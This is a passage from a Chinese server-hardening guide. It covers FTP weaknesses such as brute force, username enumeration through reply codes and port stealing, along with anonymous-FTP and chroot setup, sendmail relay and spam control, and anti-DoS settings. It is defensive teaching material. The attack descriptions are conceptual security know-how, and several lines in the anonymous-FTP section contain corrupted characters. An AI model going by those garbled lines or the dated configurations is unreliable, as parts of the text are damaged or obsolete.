1(服务不可用,关闭控制连接”)。另外,服务器在相应无效的“PASS”命令之前应暂停几
秒来消减强力攻击的有效性。若可能的话,目标操作系统提供的机制可以用来完成上述建议


对第二种强力攻击,服务器可以限制控制连接的最大数目,或探查会话中
  的可疑行为并在以后拒绝该站点的连接请求。

密码的明文传播问题可以用FTP扩展中防止窃听的认证机制解决。

d. 遗留问题

然而上述两种措施的引入又都会被“业务否决”攻击,攻击者可以故意的
  禁止有效用户的访问。


私密性(Privacy)

在FTP标准中[PR85]中,所有在网络上被传送的数据和控制信息都未被加密。为了保障FTP传
输数据的私密性,应尽可能使用强壮的加密系统。


保护用户名(Usernames)

a. 漏洞

当“USER”命令中的用户名被拒绝时,在FTP标准中[PR85]中定义了相应的
  返回码530。而当用户名是有效的但却需要密码,FTP将使用返回码331。

b. 攻击

攻击者可以通过利用USER操作返回的码确定一个用户名是否有效

c. 防范措施

不管如何,两种情况都返回331。

端口盗用(Port Stealing)

a. 漏洞

当使用操作系统相关的方法分配端口号时,通常都是按增序分配。

b. 攻击

攻击者可以通过规律,根据当前端口分配情况,确定要分配的端口。他就
  能做手脚:预先占领端口,让合法用户无法分配;窃听信息;伪造信息。

c. 防范措施

由操作系统无关的方法随机分配端口号,让攻击者无法预测。

4. 结论
  FTP被我们广泛应用,自建立后其主框架相当稳定,二十多年没有什么变化,但是在Int
ernet迅猛发展的形势下,其安全问题还是日益突出出来。上述的安全功能扩展和对协议中安
全问题的防范也正是近年来人们不懈努力的结果,而且在一定程度上缓解了FTP的安全问题。


匿名FTP的安全设定
在网络上,匿名FTP是一个很常用的服务,常用于软件下载网站,软件交流网站等,为了提
高匿名FTP服务开放的过程中的安全性,我们就这一问题进行一些讨论。
以下的设定方式是由过去许多网站累积的经验与建议组成。我们认为可以让有个别
需求的网站拥有不同设定的选择。
设定匿名FTP
A.FTP daemon
网站必须确定目前使用的是最新版本的FTP daemon。
B设定匿名FTP的目录
匿名ftp的根目录(~ftp)和其子目录的拥有者不能为ftp帐号,或与ftp相同群组的帐号。这是
一般常见的设定问题。假如这些目录被ftp或与ftp相同群组的帐号所拥有,又没有做好防止
写入的保护,入侵者便可能在其中增加文件(例如:.rhosts�n)或修改其它文件。许多网站?市硎褂�root帐号。让匿名FTP的根目录与子目录的拥有者是root,所属族群(group)为system?�并限定存取�?如chmod 0755),如此只有root有写入的权力,这能帮助你维持FTP服务的安?��?
以下是一个匿名ftp目录的设定范例:
drwxr-xr-x 7 root system 512 Mar 1 15:17 ./
drwxr-xr-x 25 root system 512 Jan 4 11:30 ../
drwxr-xr-x 2 root system 512 Dec 20 15:43 bin/
drwxr-xr-x 2 root system 512 Mar 12 16:23 etc/
drwxr-xr-x 10 root system 512 Jun 5 10:54 pub/

所有的文件和链接库,特别是那些被FTP daemon使用和那些在 ~ftp/bin 与~ftp/etc 中的文
件,应该像上面范例中的目录做相同的保护。这些文件和链接库除了不应该被ftp帐号或与f
tp相同群组的帐号所拥有之外,也必须防止写入。

C.使用合实拿苈胗肴鹤槲募?我们强烈建议网站不要使用系统中 /etc/passwd 做为~ftp/etc 目录中的密码文件或将系统
中 /etc/group 做为 ~ftp/etc目录中的群组文件。在~ftp/etc目录中放置这些文件会使得入
侵者取得它们。这些文件是可自定的而且不是用来做存取控制。

我们建议你在 ~ftp/etc/passwd 与 ~ftp/etc/group 使用代替的文件。这些文件必须由roo
t所拥有。DIR命令会使用这代替的文件来显示文件及目录的拥有者和群组名称。网站必须确
定 ~/ftp/etc/passwd档中没有包含任何与系统中 /etc/passwd文件中相同的帐号名称。这些
文件应该仅仅包含需要显示的FTP阶层架构中文件与目录的拥有者与所属群组名称。此外,确
定密码字段是"整理"过的。例如使用「*」来取代密码字段。

以下为cert中匿名ftp的密码文件范例
ssphwg:*:3144:20:Site Specific Policy Handbook Working Group::
cops:*:3271:20:COPS Distribution::
cert:*:9920:20:CERT::
tools:*:9921:20:CERT Tools::
ftp:*:9922:90:Anonymous FTP::
nist:*:9923:90:NIST Files::

以下为cert中匿名ftp的群组文件范例
cert:*:20:
ftp:*:90:


II..在你的匿名ftp提供可写入的目录

让一个匿名ftp服务允许使用者储存文件是有风险存在的。我们强烈提醒网站不要自动建立一
个上传目录,除非已考虑过相关的风险。CERT/CC的事件回报成员接获许多使用上传目录造成
非法传输版权软件或交换帐号与密码信息的事件。也接获恶意地将系统文件灌报造成denial
of service问题。

本节在讨论利用三种方法来解决这个问题。第一种方法是使用一个修正过的FTP daemon。第
二个方法是提供对特定目录的写入限制。第三种方法是使用独立的目录。

A. 修正过的FTP daemon
假如你的网站计划提供目录用来做文件上传,我们建议使用修正过的FTP daemon对文件上传
的目录做存取的控制。这是避免使用不需要的写入区域的最好的方法。以下有一些建议:

1.限定上传的文件无法再被存取, 如此可由系统管理者检测后,再放至于适当位置供人下载

2.限制每个联机的上传资料大小。
3.依照现有的磁盘大小限制数据传输的总量。
4.增加登录记录以提前发现不当的使用。

若您欲修改FTP daemon, 您应该可以从厂商那里拿到程序代码, 或者您可从下列地方取得
公开的FTP程序原始码:
wuarchive.wustl.edu ~ftp/packages/wuarchive-ftpd
ftp.uu.net ~ftp/systems/unix/bsd-sources/libexec/ftpd
gatekeeper.dec.com ~ftp/pub/DEC/gwtools/ftpd.tar.Z

CERT/CC 并没有正式地对所提到的FTP daemon做检测、评估或背书。要使用何种FTP daemon
由每个使用者或组织负责决定,而CERT/CC建议每个机关在安装使用这些程序之前, 能做一
个彻底的评估。

B. 使用保护的目录
假如你想要在你的FTP站提供上传的服务, 而你又没办法去修改FTP daemon, 我们就可以使
用较复杂的目录架构来控制存取。这个方法需要事先规划并且无法百分之百防止FTP可写入区
域遭不当使用, 不过许多FTP站仍使用此方法。

为了保护上层的目录(~ftp/incoming), 我们只给匿名的使用者进入目录的权限(chmod 751
~ftp/incoming)。这个动作将使得使用者能够更改目录位置(cd),但不允许使用者检视目录
内容。Ex:
drwxr-x--x 4 root system 512 Jun 11 13:29 incoming/

在~ftp/incoming使用一些目录名只让你允许他们上传的人知道。为了要让别人不易猜到目录
名称, 我们可以用设定密码的规则来设定目录名称。请不要使用本文的目录名称范例(避免
被有心人士发现您的目录名, 并上传文件)
drwxr-x-wx 10 root system 512 Jun 11 13:54 jAjwUth2/
drwxr-x-wx 10 root system 512 Jun 11 13:54 MhaLL-iF/

很重要的一点是,一旦目录名被有意无意的泄漏出来, 那这个方法就没什么保护作用。只要
目录名称被大部分人知道, 就无法保护那些要限定使用的区域。假如目录名被大家所知道,
那你就得选择删除或更改那些目录名。

C. 只使用一颗硬盘:
假如你想要在你的FTP站提供上传的服务, 而你又没办法去修改FTP daemon,
您可以将所有上传的资料集中在同一个挂(mount)在~ftp/incoming上的文件系统。可以的话
,将一颗单独的硬盘挂(mount)在~ftp/incoming上。系统管理者应持续检视这个目录(~ftp/
incoming), 如此便可知道开放上传的目录是否有问题。

限制FTP用户目录
匿名FTP可以很好地限制用户只能在规定的目录范围内活动,但正式的FTP用户默认不会受到
这种限制,这样,他可以自由在根目录、系统目录、其他用户的目录中读取一些允许其他用
户读取的文件。
如何才能把指定的用户象匿名用户一样限制在他们自己的目录中呢?以下我们以red hat和
wu-ftp为例做一介绍。
1 创建一个组,用groupadd命令,一般可以就用ftp组,或者任何组名.
-----相关命令: groupadd ftpuser
-----相关文件: /etc/group
-----相关帮助: man groupadd
2 创建一个用户,如testuser,建立用户可用adduser命令.如果你已在先前建立了 testuse
r这个用户,可以直接编辑/etc/passwd文件,把这个用户加入到ftpuser这个组中.
-----相关命令: adduser testuser -g ftpuser
-----相关文件: /etc/passwd
-----相关帮助: man adduser
3 修改/etc/ftpaccess文件,加入guestgroup的定义: guestgroup ftpuser我是这样改的,
加的是最后5行
compress yes all
tar yes all
chmod no anonymous
delete no anonymous
overwrite no anonymous
rename no anonymous
chmod yes guest
delete yes guest
overwrite yes guest
rename yes guest
guestgroup ftpuser

除了加 guestgroup ftpuser 这行,其他4行也要加上,否则用户登陆后,虽然可以达到用户
不能返回上级目录的目的,但是却只能上传,不能覆盖、删除文件!

-----相关命令: vi /etc/ftpaccess
-----相关文件: /etc/ftpaccess
-----相关帮助: man ftpaccess,man chroot

4 向这个用户的根目录下拷贝必要的文件,拷贝ftp server自带的目录,把 /home/ftp/下的
bin,lib两个目录拷贝到这个用户的根目录下,因为一些命令(主要是ls)需要Lib支持,否则
不能列目录和文件.

-----相关命令:
cp -rf /home/ftp/lib /home/testuser;cp -rf /home/ftp/bin /home/testuser

5 另外可别忘了关掉用户的telnet权,否则就白做了噢. 怎么不让用户telnet呢?很简单:
在/etc/shells里加一行/dev/null ,然后可以直接编辑/etc/passwd文件,把用
户的shell设置为/dev/null就可以了.

-----相关命令: vi /etc/passwd
这一步可以在步骤2 创建一个用户时就先做好.
-----相关命令: adduser testuser -g ftpuser -s /dev/null
小经验:只要把/home/ftp下的bin和lib目录cp到/etc/skel目录里,以后新建用
户都会自动把bin和lib目录CP到用户目录里,当然你也可以加上public_html目
录和cgi-bin目录.
经过以上设置,testuser这个用户的所有FTP动作将限制在他的/home/testuser目录中。

第四部分 MAIL安全性分析
随着互连网的普及,邮件服务器受攻击的机会也大大增加。目前互连网上的邮件服务器所受
攻击有两类:一类就是中继利用(Relay),即远程机器通过你的服务器来发信,这样任何人都
可以利用你的服务器向任何地址发邮件,久而久之,你的机器不仅成为发送垃圾邮件的帮凶
,也会使你的网络国际流量激增,同时将可能被网上的很多邮件服务器所拒绝。另一类攻击
称为垃圾邮件(Spam),即人们常说的邮件炸弹,是指在很短时间内服务器可能接收大量无用
的邮件,从而使邮件服务器不堪负载而出现瘫痪。这两种攻击都可能使邮件服务器无法正常
工作。因此作为一个网邮件服务器防止邮件攻击将不可缺少。
Sendmail作为免费的邮件服务器软件,已被广泛应用于Internet各种操作系统的服务器中。
如:Solaris,HPUX,AIX,IRIX,Linux等等。因此,我们以Sendmail为例来谈谈MAIL的安全
问题。
  目前对于sendmail邮件服务器,阻止邮件攻击的方法有两种。一种是升级高版本的服务
器软件,利用软件自身的安全功能。第二种就是采用第三方软件利用其诸如动态中继验证控
制功能来实现。下面就以sendmail V8.9.3为例,介绍这些方法。

服务器自身安全功能

(1)编译sendmail时的安全考虑

  要利用sendmail 8.9.3的阻止邮件攻击功能,就必须在系统编译时对相关参数进行设置
,并借助相关的软件包。目前主要就是利用Berkeley DB数据库的功能,Berkeley DB包可以
从相关站点上下载,并需要预先编译好。然后将Berkeley DB的相关参数写进sendmail的有关
文件中。

  a.修改site.config.m4文件

  将编译好的Berkeley DB有关库文件路径加入到site.config.m4文件中,使sendmail编译
后能够使用Berkeley DB数据库。例如:

  #cd $/sendmail-8.9.3/BuidTools/Site

  修改site.config.m4文件

  define (confINCDIRS, -I/usr/local/BerkeleyDB/include)

  define (confLIBDIRS, L/usr/local/BerkeleyDB/lib)

  b.修改sendmail.mc文件

  sendmail.mc是生成sendmail.cf的模板文件之一,要使sendmail具有抗邮件攻击功能还
需在该文件中进行相关定义。主要包括以下几项:

  ......

  FEATURE(relay_entire_domain)

  FEATURE(ACCESS_DB)dn1

  FEATURE(blacklist_recipients)

  ......

(2)相关文件的配置

  正确编译好sendmail是邮件服务器安全控制的基础,而真正的安全设置主要还是利用相
关文件进行的。这种包含控制语句的文件主要是access和relay-domains。

  access是邮件安全控制的主要数据库文件,在该文件中可以按照特定的格式将需控制的
域名、IP地址或目标邮件地址,以及相应的动作值写入,然后使用makmap命令生成access.d
b文件(#makemap hash access.db < access),从而使服务器允许或屏蔽邮件中继和邮件轰炸
。access的格式如下:

  spam.com REJECT

  edu.cn OK

  hotmail.com DISCARD

  其中reject动作是拒绝接受从指定地址发来的邮件;ok是允许特定地址用户任意访问;
relay允许通过本邮件服务器进行中转邮件;discard是将收到的邮件交给特定命令进行处理
,例如:可以设定将收到的邮件丢弃,或者设定收到邮件后返回给使用者一条出错信息等等


  Relay-domains文件是设定哪些域是该服务器可以中继的域,其格式为每个域占一行。如


  ......

  CN

  EDU

  JP

  ......

  在服务器开始使用时建议将所有顶级域名加入其中,以后再根据安全需要对其进行修改
,否则将会使pop3用户发送邮件时出现relay reject错误,而无法向没有加入的域名目标邮
件地址发送邮件。

(3)版本号的修改

  对于一台邮件服务器,可以通过远程的25端口telnet命令来获取服务器的版本信息。如
:“telnet sendmail服务器主机25”就可以查看sendmail的当前版本。为了防止一些恶意的
查看版本信息操作,sendmail提供了可以对显示的版本进行修改的操作。

  在sendmail.cf文件中有一句“SmtpGreetingMessage=$j sendmail $V/$Z; $b”的语句
,其中$V/$Z就是版本信息,正常情况下由该参数显示的版本信息为sendmail本身的版本。如
果要设定成管理员给定的版本信息,只需将该参数改掉,然后加入你所希望的信息即可。例
如:当把这句改成“SmtpGreeting Message=$j sendmail 0.0/0.0; $b”,重启sendmail服
务,则sendmail的版本就会变成“sendmail 0.0”。从而达到隐蔽版本信息的目的。

  以上是sendmail 8.9.3本身带有的安全功能设置,通过这些安全设置可以大大加强服务
器安全性能。但是在防止邮件中继和邮件炸弹的设置时,如何确定哪些目标地址是需阻止中
继的,哪些又是允许中转的,似乎只能通过管理员对日志文件的分析和观测,或者待发现了
安全问题后才能确定。因此这种安全控制还仅是事后控制,并且对相关文件修改后还必须重
新启动服务器。如要实现事先动态安全控制还需要采用其他方法。

动态中继验证控制

  DRAC(Dynamic Relay Authorization Control)动态中继验证控制是专门为邮件服务器设
计的一个服务器端软件(http://mail.cc.umanitoba.ca/drac/index.html),它可以安装在一
台SMTP服务器上,并同时为多个邮件服务器提供动态中继验证服务。DRAC主要通过自动获取
和动态更新中继验证数据库中的信息来允许合法pop3或IMAP用户使用邮件服务器,从而有效
地控制邮件炸弹和非法的邮件中继。DRAC的原理就是利用pop3或imap服务器固有的功能来获
取用户名、密码和客户机IP地址等信息,并将这些信息及时映象到验证数据库中,供smtp服
务器调用,同时在经过一段时间以后(缺省为30分种),其验证信息将自动失效,需要用户重
新输入验证信息。这样不仅可以保证合法的pop3或imap用户能够正常使用邮件服务器,也可
以阻止任何非注册用户(包括本地)利用邮件服务器来发送邮件。这种邮件安全控制常常被称
为:“邮件服务之前的pop验证”(POP-before-SMTP)。

(1)DRAC的编译

  在编译DRAC之前,系统的sendmail服务器应该已经正确编译安装了。首先在DRAC源程序
目录中编辑Makefile文件,在Solaris 2.x操作系统中其Makefile改成:

  INSTALL=/usr/ucb/install

  EBIN=/usr/local/sbin

  MAN=/usr/local/man/man

  DEFS=-DTI_RPC -DFCNTL_LOCK -DSYSINFO

  CC= (编译器)

  RANLIB= :

  CFLAGS=$(DFES) -g -I/path/to/db/include

  LDLIBS=-L/path/to/db/library -lns1 -1db

  TSTLIBS=-L. -ldrac -lns1

  MANLIB=3

  MANADM=1m

  然后编译并安装即可。

  如果存在多个pop/IMAP服务器,则还需要将这些服务器的IP地址加到文件/etc/mail/dr
acd.allow中,其文件书写格式与/var/yp/securenets文件格式一样。如:

  255.255.255.255 202.139.244.23

  255.255.255.255 127.0.0.1

(2)修改sendmail.mc文件重新生成sendmail.cf

  在使用DRAC验证功能之前,还需要将DRAC的验证信息加到sendmail.cf文件中。首先要修
改sendmail.mc文件,然后重新生成sendmail.cf。sendmail.mc文件中相关语句修改如下:

  在LOCAL_CONFIG行下增加

  kdrac btree /etc/mail/dracd

  在LOCAL_RULESETS下增加

  Slocal_check_rcpt

  R$* $: $&{client_addr}

  R$+ $: $(drac $1 $: ? $)

  R? $@ ?

  R$+ $@ $#OK

重新生成sendmail.cf文件后,再重启sendmail进程。

增强Sendmail的抗DoS攻击能力
  还记得一个月以前的Yahoo,eBay......受到的拒绝服务(Denial Of Service)攻击吗?


  当然,他们遭受的只是Web服务的DOS攻击。其实从最根本上来讲,各种拒绝服务攻击都
是攻击目标的TCP/IP协议堆栈,并不是什么很特殊的运用方式,其目的都是让服务器瘫痪,
无法工作。

  之所以这类攻击能容易得逞,是因为当初建立IP协议标准的时候,主要目的是为了提供
最有效的服务,却没有考虑到对于包的来源的有力的验证机制。这点缺陷导致了DOS攻击致命
的恶果。

  如果你的mail服务器遭到这种攻击,你会怎么办?

  在Sendmail8.10.0发布以前,这是一件很恼火的事情。现在就不一样了,有了Sendmail
8.10.0,只需要按照下文简单配置几个参数,你的mail服务器的抗拒绝服务攻击能力就大大
提高了。推荐值适用于中小型的Mail服务器。

  1.配置最少的自由块数
  配置参数:MinFreeBlocks
  参数描述:文件系统用来接受标准SMTP(简单邮件传输协议)邮件的队列中的最少的自由
块数目。
  越小越容易被攻击致命。
  默认值:100
  推荐值:4000或者更大

  2.最大邮件大小
  配置参数:MaxMessageSize
  参数描述:每封邮件的最大尺寸,以比特(bytes)为单位。越大越容易被攻击致命。
  默认值:不限制
  推荐值:5M

  3.自动重建别名
  配置参数:AutoRebuildAliases
  参数描述:需要的时候自动重建所有别名。如果设定为True的话,这是一个潜在的能引
起拒绝服务攻击的危机。
  默认值:False
  推荐值:False

  4.队列平均负荷
  配置参数:QueueLA
  参数描述:单一队列时的平均负荷。根据CPU的数量适当设定(8*CPU数量)
  默认值:可变的
  推荐值:10*CPU数量

  5.平均负荷拒绝临界点
  配置参数:RefuseLA
  参数描述:一旦平均负荷超过此临界点,所有Incoming的SMTP连接均拒绝。
  默认值:可变的
  推荐值:8*CPU数量

  6.最大的守护进程的子进程数
  配置参数:MaxDaemonChildren
  参数描述:容许Fork的最大的子进程数。超过此数目,连接就会被拒绝。如果设定值小
于等于零,就意味着不限制。
  默认值:没有定义
  推荐值:根据内存大小设定。(例如,128M内存建议值为40)

  7.最大的报头长度
  配置参数:MaxHeadersLength
  参数描述:所有报头的最大总长
  默认值:没有设定
  推荐值:32或者64K

  8.最大MIME编码报文长度
  MIME,Multipurpose Internet Mail Extension protocol,多用途的网际邮件扩充协议

  配置参数:MaxMimeHeaderLength
  参数描述:经过MIME编码的最大报文长度
  默认值:没有定义
  推荐值:1024或者更小

  9.每封邮件的最多接收者
  配置参数:MaxRecipientsPerMessage
  参数描述:如果设定了的话,每封邮件只能同时抄送给指定数量的收信人。超过此数目
就会返回一个452的错误代码。也就是说,在邮件队列中,会被无限期的延缓发送。
  默认值:没有设定
推荐值:10-100

第五部分 总结
网络安全是一个非常重要的课题,基本上你运行的服务后台越多,你就可能打开更多的安全
漏洞。当然,尽量地减少服务是安全策略之一,但用这个策略来完全解决完全问题显然是可
笑的,对于我们必须要提供的服务,进行精心地配置与优化,是非常必要的。